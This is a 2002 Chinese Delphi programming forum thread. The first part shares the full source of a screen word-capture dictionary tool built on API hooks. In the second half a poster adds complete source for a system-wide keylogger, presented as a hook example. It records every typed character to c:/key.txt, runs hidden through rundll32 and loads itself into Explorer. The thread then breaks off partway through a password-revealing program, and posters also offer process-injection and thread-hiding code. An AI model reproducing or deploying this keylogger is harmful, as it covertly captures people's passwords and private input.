result := FALSE;
end;
end;
procedure DllMain(dwReason : DWORD);
begin
case dwReason of
DLL_PROCESS_ATTACH :
begin
// InstallGanFilter;
// InitCoverWindow;
end;
DLL_PROCESS_DETACH :
begin
if (hWndServer <> 0) then begin
SendMessage(hWndServer, WM_CLOSE, 0, 0);
hWndServer := 0;
try
UnRegisterClass('GanServerDict', hInstance);
except
MessageBeep(0);
end;
end;
UnInstallGanFilter;
if CommonData<>nil then begin
try
UnMapViewOfFile(CommonData);
CommonData := nil;
CloseHandle(HMapFile);
HMapFile := 0;
except
MessageBox(0,
'Error when free MapViewFile',
'FreeDict Error',
MB_OK);
end;
end;
(*
if (hWndCover <> 0) then begin
try
DestroyWindow(hWndCover);
hWndCover := 0;
if (UnRegisterClass('GanFreeDict', hInstance)) then
{MessageBox(0,
'Success to Unregister _GanFreeDict_ Class',
'Success',
MB_OK);}
except
MessageBox(0,
'Error when Destroy window and UnRegisterClass',
'FreeDict Error',
MB_OK);
end;
end;
*)
if hProc<>0 then begin
try
CloseHandle(hProc);
hProc := 0;
except
MessageBox(0,
'Error when CloseHandle',
'FreeDict Error',
MB_OK);
end;
end;
DeleteCriticalSection(g_CriticalSection);
DeleteCriticalSection(m_CriticalSection);
end;
DLL_THREAD_ATTACH :
begin
end;
DLL_THREAD_DETACH :
begin
end;
end;
end;
exports
EnableMouseHook,
DisableMouseHook,
GanTextOutA,
GanTextOutW,
GanExtTextOutA,
GanExtTextOutW,
GanDrawTextA,
GanDrawTextW,
SetCaptureFlag;
begin
InitializeCriticalSection(g_CriticalSection);
InitializeCriticalSection(m_CriticalSection);
b_InCS := false;
hNextHookProc := 0;
hProc := 0;
bFirst := true;
bDllInstalled := false;
hWndCover := 0;
hWndServer := 0;
CommonData := nil;
HMapFile := 0;
LastTime := 0;
FillChar(LastMousePos, sizeof(TPoint), 0);
idMsg := RegisterWindowMessage(STR_MSGNOTIFY);
MapCommonData;
hProc := OpenProcess(PROCESS_ALL_ACCESS,
FALSE,
GetCurrentProcessID());
InitThunkCode;
InitServerWnd;
// InitCoverWindow;
// DisableThreadLibraryCalls(hInstance);
DLLProc := @DLLMain;
DLLMain(DLL_PROCESS_ATTACH);
end.
huiyugan (2002-05-25 13:42:00)
工程FreeDict.dpr
主程序
program FreeDict;
uses
Forms,
untMain in 'untMain.pas' {frmGanDict},
untAbout in 'untAbout.pas' {AboutBox},
untTypes in 'untTypes.pas';
{$R *.RES}
begin
Application.Initialize;
Application.CreateForm(TfrmGanDict, frmGanDict);
Application.CreateForm(TAboutBox, AboutBox);
Application.Run;
end.
cozo (2002-05-25 13:44:00)
好人哪！学习中，没看懂。
huiyugan (2002-05-25 13:44:00)
单元untMain.pas的代码，窗体设置见下
(*******************************************************************************
* Copy Right (C) Gan Huaxin 2001, 2002, huiyugan@263.net
* A Free Screen Words Capture Library
* Dedicated to my GirlFriend Sunny, Happy for ever
*
* Version Date Modification
* 0.1 2001-11-07~09 New, oly a test
* Can Get Word, Sometimes occure error
* 0.2 2002-05-14~16 Some Bugs Fixed,And
*******************************************************************************)
unit untMain;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, untTypes;
type
TfrmGanDict = class(TForm)
btnLoad: TButton;
btnUnLoad: TButton;
lblHwnd: TLabel;
btnAbout: TButton;
lblMousePos: TLabel;
memoThunk: TMemo;
lblFontWidth: TLabel;
lblRect: TLabel;
procedure btnLoadClick(Sender: TObject);
procedure btnUnLoadClick(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure btnAboutClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
procedure WndProc(var Mess: TMessage); override;
end;
var
frmGanDict: TfrmGanDict;
implementation
uses untAbout;
{$R *.DFM}
var
HMapFile:THandle;
CommonData:^TCommonData;
const
STR_MSGNOTIFYchar='WM_GANNOTIFY';
var
idMsg : UINT;
function EnableMouseHook(hld:hwnd; ProcessID : DWORD; hInst : THandle): BOOL; external 'GFDict.dll';
function DisableMouseHook: BOOL; external 'GFDict.dll';
function SetCaptureFlag(bFlag:BOOL): BOOL; external 'GFDict.dll';
procedure MapCommonData;
var FirstCall: Boolean;
begin
HMapFile:=OpenFileMapping(FILE_MAP_WRITE, False, 'GanGan_ThunkDict');
FirstCall:=(HMapFile = 0);
if FirstCall then
HMapFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,
0,SizeOf(TCommonData),
'GanGan_ThunkDict');
CommonData:= MapViewOfFile(HMapFile, FILE_MAP_WRITE, 0, 0, 0);
if FirstCall then FillChar(CommonData^, SizeOf(TCommonData), 0);
end;
procedure TfrmGanDict.btnLoadClick(Sender: TObject);
begin
if not EnableMouseHook(handle, GetCurrentProcessID, Application.Handle) then
ShowMessage('ERROR')
else
SetCaptureFlag(TRUE);
end;
procedure TfrmGanDict.btnUnLoadClick(Sender: TObject);
begin
DisableMouseHook;
end;
procedure TfrmGanDict.FormDestroy(Sender: TObject);
begin
DisableMouseHook;
if CommonData<>nil then begin
UnMapViewOfFile(CommonData);
CommonData := nil;
CloseHandle(HMapFile);
HMapFile := 0;
end;
end;
procedure TfrmGanDict.FormCreate(Sender: TObject);
begin
idMsg := RegisterWindowMessage(STR_MSGNOTIFY);
CommonData := nil;
MapCommonData;
SetWindowPos(Handle, HWND_TOPMOST, 0, 0, 0, 0,
SWP_NOSIZE or SWP_NOMOVE);
end;
const
StrProcNames : array[0..5] of String =
('TextOutA',
'TextOutW',
'ExtTextOutA',
'ExtTextOutW',
'DrawTextA',
'DrawTextW');
procedure TfrmGanDict.WndProc(var Mess: TMessage);
begin
case Mess.LParam of
0:
begin
if (mess.msg = idMsg) then begin
if (Mess.wParam >=0) and (Mess.WParam <= 5) then begin
lblHwnd.Caption := StrProcNames[mess.wParam]; //Format('Handle : 0x%X', [mess.wParam]);
if CommonData <> nil then with CommonData^ do begin
memoThunk.Text := CommonData.BufferA;
lblRect.Caption := Format('Client X:%d, Y:%d, Rect[%d,%d,%d,%d]',
[MousePClient.x, MousePClient.y,
Rect.Left, Rect.Top, Rect.Right, Rect.Bottom]);
// lblThunkText.Caption := CommonData.BufferA;
end
end else
lblHwnd.Caption := 'UnKnow Message';
end;
end;
1:
begin
if CommonData<>nil then with CommonData^ do
lblMousePos.Caption := Format('Mouse Pos X : %d, Y : %d',
[MousePos.X,
MousePos.Y]);
end;
2:
begin
memoThunk.Text := '---';
end;
3:
begin
lblFontWidth.Caption := Format('Font Width : %d', [mess.wParam]);
end;
end;
inherited;
end;
procedure TfrmGanDict.btnAboutClick(Sender: TObject);
begin
AboutBox.ShowModal;
end;
end.
（××××××××××××下面试窗体设置×××××××××××）
object frmGanDict: TfrmGanDict
Left = 564
Top = 163
Width = 280
Height = 237
Caption = 'Gan'#39's Free Dict'
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
OldCreateOrder = False
OnCreate = FormCreate
OnDestroy = FormDestroy
PixelsPerInch = 96
TextHeight = 13
object lblHwnd: TLabel
Left = 8
Top = 8
Width = 76
Height = 13
Caption = 'Window Handle'
end
object lblMousePos: TLabel
Left = 8
Top = 152
Width = 56
Height = 13
Caption = 'Mouse Pos:'
end
object lblFontWidth: TLabel
Left = 8
Top = 192
Width = 52
Height = 13
Caption = 'Font Width'
end
object lblRect: TLabel
Left = 8
Top = 176
Width = 23
Height = 13
Caption = 'Rect'
end
object btnLoad: TButton
Left = 104
Top = 112
Width = 75
Height = 25
Caption = 'Load'
TabOrder = 0
OnClick = btnLoadClick
end
object btnUnLoad: TButton
Left = 192
Top = 112
Width = 75
Height = 25
Caption = 'UnLoad'
TabOrder = 1
OnClick = btnUnLoadClick
end
object btnAbout: TButton
Left = 192
Top = 144
Width = 75
Height = 25
Caption = 'About'
TabOrder = 2
OnClick = btnAboutClick
end
object memoThunk: TMemo
Left = 8
Top = 24
Width = 257
Height = 81
TabOrder = 3
end
end
huiyugan (2002-05-25 13:45:00)
单元untAbout
unit untAbout;
interface
uses Windows, SysUtils, Classes, Graphics, Forms, Controls, StdCtrls,
Buttons, ExtCtrls;
type
TAboutBox = class(TForm)
Panel1: TPanel;
ProgramIcon: TImage;
ProductName: TLabel;
Version: TLabel;
Copyright: TLabel;
Comments: TLabel;
OKButton: TButton;
private
{ Private declarations }
public
{ Public declarations }
end;
var
AboutBox: TAboutBox;
implementation
{$R *.DFM}
end.
其窗体
object AboutBox: TAboutBox
Left = 408
Top = 366
BorderStyle = bsSingle
Caption = 'About'
ClientHeight = 213
ClientWidth = 298
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
OldCreateOrder = True
Position = poScreenCenter
PixelsPerInch = 96
TextHeight = 13
object Panel1: TPanel
Left = 8
Top = 8
Width = 281
Height = 161
BevelInner = bvRaised
BevelOuter = bvLowered
ParentColor = True
TabOrder = 0
object ProgramIcon: TImage
Left = 8
Top = 8
Width = 65
Height = 57
Picture.Data = {
07544269746D617076020000424D760200000000000076000000280000002000
0000200000000100040000000000000200000000000000000000100000000000
000000000000000080000080000000808000800000008000800080800000C0C0
C000808080000000FF0000FF000000FFFF00FF000000FF00FF00FFFF0000FFFF
FF00000000000000000000000000000000000EE8787878EEEEEEE03F30878EEE
EEE00EE8787878EEEEEEE03F30878EEEEEE00EE8787878EEEEEEE03F30878EEE
EEE00EE8787878EEEEEEE03F30878EEEEEE00887787877788888803F3088787E
EEE00788787878878887803F3088887EEEE00788887888878887803F3088887E
EEE00877888887788888703F308887EEEEE00888777778888888037883088888
8EE007777777777777703787883087777EE00888888888888803787FF8830888
888008888888888880378777778830888880077777777788037873F3F3F87808
88E00888888888803787FFFFFFFF8830EEE00887777778800001111111111100
EEE00888888888888899B999B99999EEEEE00888888888888899B9B99BB9B9EE
EEE0088888888888899BB9BB99BB99EEEEE0078888888888899B999B999999EE
EEE0087788888778899B9B9BB9BB99EEEEE00888778778888E9B9B9BB9999EEE
EEE0088888788888EE9B99B9BB9BEEEEEEE00EE8888888EEEEE999B9999EEEEE
EEE00EEEE888EEEEEEEE99BB999EEEEEEEE00EEEEE8EEEEEEEEEE999B9EEEEEE
EEE00EEEEE8EEEEEEEEEEEE999EEEEEEEEE00EEEEE8EEEEEEEEEEEEE99EEEEEE
EEE00EEEEE8EEEEEEEEEEEEE9EEEEEEEEEE00EEEEE8EEEEEEEEEEEEEEEEEEEEE
EEE00EEEEEEEEEEEEEEEEEEEEEEEEEEEEEE00000000000000000000000000000
0000}
Stretch = True
IsControl = True
end
object ProductName: TLabel
Left = 88
Top = 16
Width = 155
Height = 13
Caption = 'Product Name: Gan'#39's Get Words'
IsControl = True
end
object Version: TLabel
Left = 88
Top = 40
Width = 107
Height = 13
Caption = 'Version : 0.01 (c) 2002'
IsControl = True
end
object Copyright: TLabel
Left = 8
Top = 80
Width = 152
Height = 13
Caption = 'Copyright (C) Gan Huaxin , 2002'
IsControl = True
end
object Comments: TLabel
Left = 8
Top = 104
Width = 265
Height = 39
Caption = 'Comments : Only a TEST'
WordWrap = True
IsControl = True
end
end
object OKButton: TButton
Left = 111
Top = 180
Width = 75
Height = 25
Caption = 'OK'
Default = True
ModalResult = 1
TabOrder = 1
end
end
huiyugan (2002-05-25 13:49:00)
GanFreeDictGrp.bpg.工程组文件
#------------------------------------------------------------------------------
VERSION = BWS.01
#------------------------------------------------------------------------------
!ifndef ROOT
ROOT = $(MAKEDIR)/..
!endif
#------------------------------------------------------------------------------
MAKE = $(ROOT)/bin/make.exe -$(MAKEFLAGS) -f$**
DCC = $(ROOT)/bin/dcc32.exe $**
BRCC = $(ROOT)/bin/brcc32.exe $**
#------------------------------------------------------------------------------
PROJECTS = GFDict.dll FreeDict.exe
#------------------------------------------------------------------------------
default: $(PROJECTS)
#------------------------------------------------------------------------------
GFDict.dll: GFDict.dpr
$(DCC)
FreeDict.exe: FreeDict.dpr
$(DCC)
cozo (2002-05-25 13:53:00)
这样吧，你把源码发到我的信箱，我上传到我的网站上去，不是更好？cozo@etang.com
wzhiwei (2002-05-25 14:00:00)
我也要一份
wzhiwei99@etang.com
huiyugan (2002-05-25 14:01:00)
to cozo:
我已经发了过去，请注明一些信息。
jingtao (2002-05-25 14:08:00)
good
现在已经很少这种好人了.
jrq (2002-05-25 15:20:00)
多谢！
－－－－－－－
将上面代码编译了一下，果然桌面图标和IE中的全部可以取到！
看来很久没有解决的问题可以完成了！
不过IE中闪烁很厉害，取到的词语位置也不是很准确！
huiyugan (2002-05-25 14:11:00)
JingTao:你是否试CSDN的蒋涛？
jingtao (2002-05-25 14:15:00)
NO
他的帐号好像是JIANGTAO
我是藏鲸阁的
http://www.138soft.com
如果需要可以帮你在我的论坛上面为你开一个论坛
cozo (2002-05-25 14:32:00)
文件已上传，下载地址：http://cozo.diy.163.com/FreeDict.zip
网页地址：http://cozo.diy.163.com/
信息已注明。不过我的网站刚刚申请，还没什么东西。望不要见怪。
huiyugan (2002-05-25 14:40:00)
大家可以去cozo的网站上下代码了。
我这个人比较懒，没有建设网站的欲望。
那是一个完整的工程。
huiyugan (2002-05-25 14:41:00)
请上述提供email地址的同志去
http://cozo.diy.163.com上去下吧。我一个一个发太累了。
huiyugan (2002-05-25 14:43:00)
To JingTao：
你打算开一个主要讨论哪一方面的论坛？
jingtao (2002-05-25 14:45:00)
我的意思是说在http://bbs.138soft.com上面为你开一个论坛
你来当版主.至于内容和标题之类肯定是你来定.
---如果你需要的话.
jingtao (2002-05-25 14:55:00)
代码同时放到了
http://www.138soft.com
已经注明版权所有问题(在说明.TXT里面)
期待更多这样的人出现
huiyugan (2002-05-25 16:36:00)
嘿，大家都是靠外界信息来学习嘛，
所以如果大家又什么心得一定要共享嘛。
也许，在中国，很多事情都变味了，就象
《胜者为王》中Linus说了Linux在中国的发展说
的一些话。
gondsoft (2002-05-25 17:02:00)
jingtao:
能否将我最近发布的 KICQ即时通信系统 放在你的网站上提供下载...?我的主页空间不支持
外部链接访问~
下载:
http://gond.go.163.com 中的 网络软件 部分,
文件类型:rar 解压密码:gondsoft
下载说明:
kICQ-020521(客户端)
KICQserver-020521(服务器)
KQchat-020521(服务器资料库)
即时通信系统,功能仿OICQ
huiyugan (2002-05-25 21:59:00)
呵呵，我从来没有用过呼叫
yzhshi (2002-05-25 20:17:00)
在线富翁->点击对应人的闪电符号
real_clq (2002-05-25 20:32:00)
jingtao兄，你的主页空间在哪租的？我也想弄一个。
jingtao (2002-05-25 20:39:00)
gondsoft:迟点好吗?别人准备给我一个1GB的空间.
real_clq: http://www.jnbiz.com空间他们送的. 域名是别人送的.
sima (2002-05-25 20:43:00)
向楼主致敬！
请全体同志起立！
huiyugan (2002-05-25 21:58:00)
没什么
emonster (2002-05-25 22:00:00)
致敬！
zw84611 (2002-05-26 8:58:00)
致敬！
wddelphi (2002-05-26 9:11:00)
我用过《金山词霸》和《IBM智能词典2000》，在取词时都有一个问题，就是在有些地方
无法正确的取词，比如，在桌面，而且有个规律：“a”－>“D”、“b”－>“E”、
“c”－>“F”……，用了贴主的程序后，发现也是如此，想问一下huiyugan先生，截取
消息的方法应该是对的，但windows能正确显示这些字符，为什么各类取词软件都不能正
确地取词，是消息截取得不对？还是分析的不对？
我用的是win2000+sp2+ie6+dx8。（ie5+dx7也一样）
linsb (2002-05-26 9:48:00)
To huiyugan
非常感谢提供完整的源代码！
第二次启动为什么会出现：
Register Error 错误信息，如何避免？
huiyugan (2002-05-26 12:46:00)
这是因为二次注册WindowClass.
我说过，这份代码是个雏形，这种小问题偶没有修正。
但不影响功能
dingbaosheng (2002-05-26 13:30:00)
good~~~~~
孔明.net (2002-05-26 13:48:00)
试试先。
luoma (2002-05-26 16:00:00)
帅呆了!感谢
huiyugan (2002-05-26 16:05:00)
To JingTao:
我还有一个东西能否也放到你的网站上，为了方便众多学习的网友？
是一个关于进程注入，线程隐藏的东西，还包含了一个时钟呢。
jingtao (2002-05-26 16:35:00)
是不是关于进程三级跳的?好的.麻烦发到我信箱我帮你上传.
webmaster@138soft.com需要注明版权之类的吗?
我这里也有一个.朋友写的.
{
win9X,NT,w2k 中的系统钩子示例程序(Delphi 版)
-----------------------------------------------------
windows下的WH_CALLWNDPROC和WH_GETMESSAGE钩子是两种很有用的HOOK类型，他能过滤大部分的
windows消息，但是要做成系统级的钩子，就要使用动态链接库，这样做很困难，因为涉及到多
线程及全局变量，等问题，当然在某些情况下还会有线程同步及同步冲突问题，关于同步问题
暂时不在这讲，因为这儿用不到，以后会举同步的例子，由于这些原因常会导致错误，本程序
用了一个巧妙的方法解决了这个问题，主要技巧是不用*.exe，只用*.dll，并用windows自带的
rundll32.exe程序来运行这个GetKey.dll，本程序能过滤wm_char,和wm_ime_char消息，所以能
得到键盘输入的任何字中英文字符，结果存在C;/key.txt中,使用方法为:
rundll32 GetKey.dll,run
下面这个程序用Delphi设计，没有用delphi的控件，只用了win32 api，所以通用于Delphi的任
何版本，当然你也可以用c来实现,有看不懂的可以写信给我，这是第一版，可能有BUG,大家发
现了通知我一下，欢迎大家和我一起来讨论HOOK技术:
-----------------------------------------------------
First Created:njhhack 2001.6.14 (ver1.0)
电子信箱:njhhack@21cn.com
主页:hotsky.363.net
}
library GetKey;
uses windows,messages,sysutils;
{$r *.res}
const
HookMemFileName='HookMemFile.DTA';
type
PShared=^TShared;
PWin=^TWin;
TShared = record
HHGetMsgProc:HHook;
HHCallWndProc:HHook;
Self:integer;
Count:integer;
hinst:integer;
end;
TWin = record
Msg:TMsg;
wClass:TWndClass;
hMain:integer;
end;
var
MemFile:THandle;
SharedShared;
Win:TWin;
procedure SaveInfo(str:string);stdcall;
var
f:textfile;
begin
assignfile(f,'c:/key.txt');
if fileexists('c:/key.txt')=false then rewrite(f)
else append(f);
if strcomp(pchar(str),pchar('#13#10'))=0 then writeln(f,'')
else write(f,str);
closefile(f);
end;
procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall;
begin
if (uMessage=WM_CHAR) and (lParam<>1) then
begin
SaveInfo(format('%s',[chr(wparam and $ff)]));
inc(shared^.count);
if shared^.count>60 then
begin
SaveInfo('#13#10');
shared^.count:=0;
end;
end;
if (uMessage=WM_IME_CHAR) then
begin
SaveInfo(format('%s%s',[chr((wparam shr 8) and $ff),chr(wparam and $ff)]));
inc(shared^.count,2);
end;
end;
function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcsMSG;
hd,uMsg,wP,lP:integer;
begin
pcs:=PMSG(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(shared^.HHGetMsgProc,nCode,wParam,lParam);
end;
function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcsCWPSTRUCT;
hd,uMsg,wP,lP:integer;
begin
pcs:=PCWPSTRUCT(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(shared^.HHCallWndProc,nCode,wParam,lParam);
end;
procedure SetHook(fSet:boolean);
begin
with shared^ do
if fSet=true then
begin
if HHGetMsgProc=0 then HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,@GetMsgProc,hinstance,0);
if HHCallWndProc=0 then
begin
HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0);
if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc);
end;
end else
begin
if HHGetMsgProc<>0 then UnhookWindowsHookEx(HHGetMsgProc);
if HHCallWndProc<>0 then UnhookWindowsHookEx(HHCallWndProc);
HHGetMsgProc:=0;
HHCallWndProc:=0;
end;
end;
procedure Extro;
begin
UnmapViewOfFile(Shared);
CloseHandle(MemFile);
end;
function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of
wm_destroy:
begin
SetHook(False);
ExitThread(0);
freelibrary(shared^.hinst);
// TerminateThread();
//exitprocess(0);
end;
end;
end;
procedure run;stdcall;
begin
win.wClass.lpfnWndProc:= @WindowProc;
win.wClass.hInstance:= hInstance;
win.wClass.lpszClassName:='GetKey';
RegisterClass(win.wClass);
win.hmain:=CreateWindowEx(ws_ex_toolwindow,win.wClass.lpszClassName,'GetKey',WS_CAPTION,0,0,1,1,0,0,hInstance,nil);
FillChar(Shared^,SizeOf(TShared),0);
shared^.self:=win.hmain;
shared^.hinst:=hinstance;
SetHook(true);
postmessage(findwindow('WinExec',nil),wm_destroy,0,0);
while(GetMessage(win.Msg,win.hmain,0,0))do
begin
TranslateMessage(win.Msg);
DispatchMessage(win.Msg);
end;
end;
procedure DllEntryPoint(fdwReason
WORD);
begin
case fdwReason of
DLL_PROCESS_DETACH:
Extro;
end;
end;
exports run;
begin
//建立内存映象文件，用来保存全局变量
MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShared),HookMemFileName);
Shared:=MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0);
DLLProc:=@DllEntryPoint;
end.
//-----------------------------------------------
library Install;
uses windows,messages,sysutils,tlhelp32;
{$r *.res}
const
HookMemFileName='HookMemFile3.DTA';
type
trun=procedure;stdcall;
TShared = record
HHGetMsgProc:HHook;
HHCallWndProc:HHook;
Receiver:integer;
busy:boolean;
hInstance:integer;
selfhand:integer;
LibHandle:integer;
CurPath:string;
end;
PShared=^TShared;
var
hMain:integer;
Msg:TMsg;
wClass:TWndClass;
MemFile:THandle;
SharedShared;
prun:trun=nil;
function tfun(lpointer):lresult;stdcall;
begin
with shared^ do
if LibHandle=0 then
begin
LibHandle:=LoadLibrary(pchar(shared^.CurPath+'GetKey.dll'));
if libhandle<>0 then
begin
if @prun=nil then
begin
prun:=GetProcAddress(LibHandle,'run');
if @prun<>nil then prun;
end;
end;
end;
result:=0;
end;
procedure FindProcessName;
var
lppe:tprocessentry32;
sshandle:thandle;
found:boolean;
tid:dword;
begin
sshandle:=createtoolhelp32snapshot(TH32CS_SNAPALL,0);
found:=process32first(sshandle,lppe);
while found do
begin
if (getcurrentprocessid=lppe.th32ProcessID)
and (strcomp(pchar(ExtractFileName(lppe.szExefile)),pchar('EXPLORER.EXE'))=0) then
begin
shared^.busy:=true;
CreateThread(nil,0,@tfun,nil,0,tid);
end;
if strcomp(pchar(ExtractFileName(lppe.szExefile)),pchar('WINEXEC.EXE'))=0 then
begin
Shared^.CurPath:=ExtractFilePath(lppe.szExefile);
end;
found:=process32next(sshandle,lppe);
end;
CloseHandle(sshandle);
end;
procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall;
begin
if uMessage=WM_lbuttonup then
begin
if findwindow('GetKey',nil)<>0 then
begin
// postmessage(findwindow('WinExec',nil),wm_destroy,0,0);
end;
if shared^.busy=false then
begin
findProcessName;
end;
end;
end;
function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcsMSG;
hd,uMsg,wP,lP:integer;
begin
pcs:=PMSG(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(shared^.HHGetMsgProc,nCode,wParam,lParam);
end;
function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcsCWPSTRUCT;
hd,uMsg,wP,lP:integer;
begin
pcs:=PCWPSTRUCT(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(shared^.HHCallWndProc,nCode,wParam,lParam);
end;
procedure SetHook(fSet:boolean);
begin
with shared^ do
if fSet=true then
begin
if HHGetMsgProc=0 then HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,@GetMsgProc,hinstance,0);
if HHCallWndProc=0 then
begin
HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0);
if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc);
end;
end else
begin
if HHGetMsgProc<>0 then UnhookWindowsHookEx(HHGetMsgProc);
if HHCallWndProc<>0 then UnhookWindowsHookEx(HHCallWndProc);
HHGetMsgProc:=0;
HHCallWndProc:=0;
end;
end;
procedure Extro;
begin
UnmapViewOfFile(Shared);
CloseHandle(MemFile);
end;
function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of
wm_destroy:
begin
SetHook(False);
halt;
end;
end;
end;
procedure Intro;
begin
MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShared),HookMemFileName);
Shared:=MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0);
end;
procedure DllEntryPoint(fdwReasonWORD);
begin
case fdwReason of
DLL_PROCESS_DETACH:Extro;
end;
end;
procedure run;stdcall;
begin
wClass.lpfnWndProc:= @WindowProc;
wClass.hInstance:= hInstance;
wClass.lpszClassName:= 'MyHost-Install';
RegisterClass(wClass);
hmain:=CreateWindowEx(ws_ex_toolwindow,wClass.lpszClassName,'MyHost-Install',WS_CAPTION,0,0,1,1,0,0,hInstance,nil);
FillChar(Shared^,SizeOf(TShared),0);
Shared^.hInstance:=hInstance;
Shared^.selfhand:=hmain;
Shared^.busy:=false;
SetHook(true);
while(GetMessage(Msg,hmain,0,0))do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end;
exports run;
begin
Intro;
DLLProc:=@DllEntryPoint;
end.
//------------------------------------------------------------
Program WinExec;
uses windows,messages,sysutils;
{$r *.res} //使用资源文件
type
TWin = record
Msg:TMsg;
wClass:TWndClass;
hMain:integer;
hLib:integer;
end;
var
Win:TWin; //结构变量
hRunrocedure;stdcall;
//
procedure runhookfun;
begin
win.hlib:=loadlibrary('install.dll');
if win.hlib=0 then messagebox(win.hmain,'error','',0);
hrun:=GetProcAddress(win.hlib,'run');
if @hrun<>nil then hrun;
// freelibrary(win.hlib);
end;
procedure runhook;
var tid:integer;
begin
createthread(nil,0,@runhookfun,nil,0,tid);
end;
function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of
wm_destroy:halt;
end;
end;
//主程序的执行函数
procedure runme;stdcall;
begin
win.wClass.hInstance:= hInstance;
with win.wclass do
begin
hIcon:= LoadIcon(hInstance,'MAINICON');
hCursor:= LoadCursor(0,IDC_ARROW);
hbrBackground:= COLOR_BTNFACE+1;
Style:= CS_PARENTDC;
lpfnWndProc:= @WindowProc;
lpszClassName:='WinExec';
end;
RegisterClass(win.wClass);
win.hmain:=CreateWindow(win.wClass.lpszClassName,'WinExec',WS_VISIBLE or WS_OVERLAPPEDWINDOW,10,10,260,180,0,0,hInstance,nil);
runhook;
while(GetMessage(win.Msg,win.hmain,0,0)) do
begin
TranslateMessage(win.Msg);
DispatchMessage(win.Msg);
end;
end;
begin
runme; //开始运行主程序
end.
jingtao (2002-05-26 16:32:00)
还有WIN2K下查看*密码的:
program password;
uses
windows,messages;
{$R *.RES}
var
//----------------------
wClass: TWndClass; //窗口类变量
Msg: TMSG; //消息变量
hInst, //程序实例
Handle, //主窗口句柄
hFont, //字体句柄
//----------------
hEditEmail, //e-mail编辑
hLabelEmail //e-mail提示
:integer; //句柄类型
procedure WriteCaption(hwnd:hwnd;textchar);begin sendmessage(hwnd,WM_SETTEXT,0,integer(text));end;
procedure ReadCaption(hwnd:hwnd;textchar);begin sendmessage(hwnd,WM_GETTEXT,400,integer(text));end;
//主程序结束
procedure ShutDown;
begin
DeleteObject(hFont);
UnRegisterClass(wClass.lpszClassName,hInst);
ExitProcess(hInst);
end;
//这是主窗口的消息处理函数
function WindowProc(hWnd,Msg,wParam,lParam:integer):Longint; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of
WM_DESTROY: ShutDown;
end;
end;
//定义几个窗口创建函数
function CreateEdit(namechar;x1,y1,x2,y2:integer):hwnd;begin Result:=CreateWindowEx(WS_EX_CLIENTEDGE,'Edit',name,WS_VISIBLE or WS_CHILD or ES_PASSWORD or ES_LEFT or ES_AUTOHSCROLL,x1,y1,x2,y2,Handle,0,hInst,nil);end;
function CreateLabel(namechar;x1,y1,x2,y2:integer):hwnd;begin Result:=CreateWindow('Static',name,WS_VISIBLE or WS_CHILD or SS_LEFT,x1,y1,x2,y2,Handle,0,hInst,nil);end;
function CreateMain(namechar;x1,y1,x2,y2:integer):hwnd;
begin
hInst:=GetModuleHandle(nil);
with wClass do
begin
Style:= CS_PARENTDC;
hIcon:= LoadIcon(hInst,'MAINICON');
lpfnWndProc:= @WindowProc;
hInstance:= hInst;
hbrBackground:= COLOR_BTNFACE+1;
lpszClassName:= 'MainClass';
